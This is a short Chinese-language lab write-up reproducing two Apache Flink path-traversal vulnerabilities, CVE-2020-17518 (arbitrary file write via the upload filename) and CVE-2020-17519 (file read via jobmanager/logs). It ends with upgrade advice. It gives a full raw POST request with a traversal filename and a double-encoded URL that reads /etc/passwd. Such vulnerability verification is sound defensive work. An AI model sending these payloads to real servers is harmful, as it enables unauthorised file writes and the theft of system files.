CVE-2020-17518
文件写入
Apache Flink 1.5.1引入了REST处理程序,攻击者利用REST API,可以修改HTTP头,将上传的文件写入到本地文件系统上的任意位置(Flink 1.5.1进程能访问到的)
版本:Apache:Apache Flink: 1.5.1 - 1.11.2
开启漏洞环境,访问8081端口
构造POST请求包
Host: 192.168.5.129:8081
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://192.168.5.129:8081/
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryoZ8meKnrrso89R6Y
Content-Length: 199
------WebKitFormBoundaryoZ8meKnrrso89R6Y
Content-Disposition: form-data; name="jarfile"; filename="../../../../../../tmp/CVE-2020-17518"
CVE-2020-17518
------WebKitFormBoundaryoZ8meKnrrso89R6Y--
写入成功
访问http://192.168.5.129:8081/jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252ftmp%252fCVE-2020-17518
CVE-2020-17519
jobmanager/logs文件读取
Apache Flink 1.11.0 允许攻击者通过JobManager进程的REST API读取JobManager本地文件系统上的任何文件(JobManager进程能访问到的)
版本:Apache:Apache Flink: 1.11.0 ,1.11.1,1.11.2
漏洞验证:
访问
http://192.168.5.129:8081/jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd
修复建议
升级到安全版本:Flink 1.11.3或Flink 1.12.0